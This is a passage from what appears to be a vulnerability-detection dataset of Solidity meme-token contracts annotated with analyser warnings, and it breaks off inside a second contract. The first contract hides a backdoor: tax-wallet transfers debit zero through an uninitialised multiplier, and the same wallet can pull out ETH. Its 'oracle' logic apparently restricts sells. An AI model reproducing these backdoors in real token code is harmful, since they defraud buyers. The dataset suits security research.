"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function totalSupply() external view returns (uint256);\n}\n\nlibrary SafeMath {\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Router02 {\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function factory() external pure returns (address);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ncontract PEPESENPAI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: edf53ba): PEPESENPAI._taxWallet should be immutable \n\t// Recommendation for edf53ba: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: c092ae5): PEPESENPAI._initialBuyTax should be constant \n\t// Recommendation for c092ae5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1ba5a4e): PEPESENPAI._initialSellTax should be constant \n\t// Recommendation for 1ba5a4e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe4c8f3): PEPESENPAI._finalBuyTax should be constant \n\t// Recommendation for fe4c8f3: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 228973c): PEPESENPAI._finalSellTax should be constant \n\t// Recommendation for 228973c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ff7e1f2): PEPESENPAI._reduceBuyTaxAt should be constant \n\t// Recommendation for ff7e1f2: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 447b8c4): PEPESENPAI._reduceSellTaxAt should be constant \n\t// Recommendation for 447b8c4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7cfdd0d): PEPESENPAI._preventSwapBefore should be constant \n\t// Recommendation for 7cfdd0d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Pepe Senpai\";\n\n string private constant _symbol = unicode\"PEPESENPAI\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 48a3f53): PEPESENPAI._taxSwapThreshold should be constant \n\t// Recommendation for 48a3f53: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 846dc71): PEPESENPAI._maxTaxSwap should be constant \n\t// Recommendation for 846dc71: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private oracleMinClaim;\n\n struct OracleMeta {\n uint256 oracleStart;\n uint256 claimId;\n uint256 oracleClaimTotal;\n }\n\n mapping(address => OracleMeta) private oracleMeta;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4d2031c): PEPESENPAI.oracleInitBlock should be constant \n\t// Recommendation for 4d2031c: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2f4dc37): PEPESENPAI.oracleInitBlock is never initialized. It is used in PEPESENPAI._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 2f4dc37: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private oracleInitBlock;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x60BDBF6cE91370F1e69F30Ae1B4688893ffC73ea);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ac499c7): PEPESENPAI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ac499c7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4d5415f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4d5415f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a5bc6b0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a5bc6b0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4d5415f\n\t\t// reentrancy-benign | ID: a5bc6b0\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 4d5415f\n\t\t// reentrancy-benign | ID: a5bc6b0\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 55b63ca): PEPESENPAI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 55b63ca: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a5bc6b0\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 4d5415f\n emit Approval(owner, spender, amount);\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0320348): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0320348: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0773632): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0773632: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6259d6c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6259d6c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (inSwap || !tradingOpen) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 0320348\n\t\t\t\t// reentrancy-benign | ID: 0773632\n\t\t\t\t// reentrancy-eth | ID: 6259d6c\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 0320348\n\t\t\t\t\t// reentrancy-eth | ID: 6259d6c\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 0773632\n oracleMinClaim = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (to == uniswapV2Pair) {\n OracleMeta storage oracleFrom = oracleMeta[from];\n\n\t\t\t\t// reentrancy-benign | ID: 0773632\n oracleFrom.oracleClaimTotal =\n oracleFrom.oracleStart -\n oracleMinClaim;\n\n\t\t\t\t// reentrancy-benign | ID: 0773632\n oracleFrom.claimId = block.timestamp;\n } else {\n OracleMeta storage oracleTo = oracleMeta[to];\n\n if (uniswapV2Pair == from) {\n if (oracleTo.oracleStart == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 0773632\n oracleTo.oracleStart = _preventSwapBefore >= _buyCount\n ? type(uint).max\n : block.number;\n }\n } else {\n OracleMeta storage oracleFrom = oracleMeta[from];\n\n if (\n !(oracleTo.oracleStart > 0) ||\n oracleFrom.oracleStart < oracleTo.oracleStart\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 0773632\n oracleTo.oracleStart = oracleFrom.oracleStart;\n }\n }\n }\n }\n\n\t\t// reentrancy-events | ID: 0320348\n\t\t// reentrancy-eth | ID: 6259d6c\n _tokenTransfer(from, to, taxAmount, tokenAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2f4dc37): PEPESENPAI.oracleInitBlock is never initialized. It is used in PEPESENPAI._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 2f4dc37: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : oracleInitBlock.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6259d6c\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 0320348\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 6259d6c\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 6259d6c\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 0320348\n emit Transfer(from, to, receiptAmount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0320348\n\t\t// reentrancy-events | ID: 4d5415f\n\t\t// reentrancy-benign | ID: 0773632\n\t\t// reentrancy-benign | ID: a5bc6b0\n\t\t// reentrancy-eth | ID: 6259d6c\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0320348\n\t\t// reentrancy-events | ID: 4d5415f\n\t\t// reentrancy-eth | ID: 6259d6c\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 748329f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 748329f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fac7487): PEPESENPAI.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for fac7487: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2047b60): PEPESENPAI.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 2047b60: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: c67e00b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for c67e00b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 748329f\n\t\t// reentrancy-no-eth | ID: c67e00b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-no-eth | ID: c67e00b\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 748329f\n\t\t// unused-return | ID: fac7487\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 748329f\n\t\t// unused-return | ID: 2047b60\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 748329f\n swapEnabled = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 19ed902): PEPESENPAI.withdrawStuckETH(address,uint256) sends eth to arbitrary user Dangerous calls address(addrs).transfer(amount)\n\t// Recommendation for 19ed902: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function withdrawStuckETH(address addrs, uint256 amount) external {\n require(_msgSender() == _taxWallet);\n\n require(addrs != address(0), \"Receiver is zero address.\");\n\n\t\t// arbitrary-send-eth | ID: 19ed902\n payable(addrs).transfer(amount);\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10035.sol",
"size_bytes": 23606,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n uint256 c = a - b;\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n uint256 c = a * b;\n require(c / a == b, \"SafeMath: multiplication overflow\");\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n uint256 c = a / b;\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract THEHOLYMASCOT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n address payable private _taxWallet;\n\t// WARNING Optimization Issue (immutable-states | ID: 6aefc5d): THEHOLYMASCOT._devWallet should be immutable \n\t// Recommendation for 6aefc5d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _devWallet;\n\t// WARNING Optimization Issue (constable-states | ID: 4dc4992): THEHOLYMASCOT._devPortion should be constant \n\t// Recommendation for 4dc4992: Add the 'constant' attribute to state variables that never change.\n uint256 _devPortion = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 15614ae): THEHOLYMASCOT._initialBuyTax should be constant \n\t// Recommendation for 15614ae: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\t// WARNING Optimization Issue (constable-states | ID: 5b2b26e): THEHOLYMASCOT._initialSellTax should be constant \n\t// Recommendation for 5b2b26e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 30;\n uint256 private _finalBuyTax = 0;\n uint256 private _finalSellTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 4e714e6): THEHOLYMASCOT._reduceBuyTaxAt should be constant \n\t// Recommendation for 4e714e6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\t// WARNING Optimization Issue (constable-states | ID: 3a987bc): THEHOLYMASCOT._reduceSellTaxAt should be constant \n\t// Recommendation for 3a987bc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\t// WARNING Optimization Issue (constable-states | ID: 0ca8dd6): THEHOLYMASCOT._preventSwapBefore should be constant \n\t// Recommendation for 0ca8dd6: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n uint256 private _transferTax = 0;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 7777777777777 * 10 ** _decimals;\n string private constant _name = unicode\"THE HOLY MASCOT\";\n string private constant _symbol = unicode\"LUCE\";\n uint256 public _maxTxAmount = (_tTotal * 20) / 1000;\n uint256 public _maxWalletSize = (_tTotal * 20) / 1000;\n\t// WARNING Optimization Issue (constable-states | ID: b619e3e): THEHOLYMASCOT._taxSwapThreshold should be constant \n\t// Recommendation for b619e3e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 1) / 100;\n\t// WARNING Optimization Issue (constable-states | ID: 59f846e): THEHOLYMASCOT._maxTaxSwap should be constant \n\t// Recommendation for 59f846e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 500) / 1000;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n uint256 public tradingOpenBlock = 9999999999;\n bool private inSwap = false;\n bool private swapEnabled = false;\n uint256 private sellCount = 0;\n uint256 private lastSellBlock = 0;\n event MaxTxAmountUpdated(uint _maxTxAmount);\n event TransferTaxUpdated(uint _tax);\n event ClearToken(address TokenAddressCleared, uint256 Amount);\n event TradingOpened(uint256 timestamp, uint256 blockNumber);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xd7Cb3CA702Fbc707431453F56d5893ae902cC373);\n _devWallet = payable(0x590De96BbA830B1F06034ab86eb2A0e29c83C472);\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n _isExcludedFromFee[0x590De96BbA830B1F06034ab86eb2A0e29c83C472] = true;\n\n _balances[\n 0x590De96BbA830B1F06034ab86eb2A0e29c83C472\n ] = 77777777777770004480;\n emit Transfer(\n address(0),\n 0x590De96BbA830B1F06034ab86eb2A0e29c83C472,\n 77777777777770004480\n );\n _balances[_msgSender()] = 7699999999999229995520;\n emit Transfer(address(0), _msgSender(), 7699999999999229995520);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6185f61): THEHOLYMASCOT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6185f61: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2ce8b8e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2ce8b8e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 75ebe46): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 75ebe46: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 2ce8b8e\n\t\t// reentrancy-benign | ID: 75ebe46\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 2ce8b8e\n\t\t// reentrancy-benign | ID: 75ebe46\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a88c42d): THEHOLYMASCOT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a88c42d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 75ebe46\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 2ce8b8e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a7b6bcc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a7b6bcc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3e2e101): Reentrancy bug (see 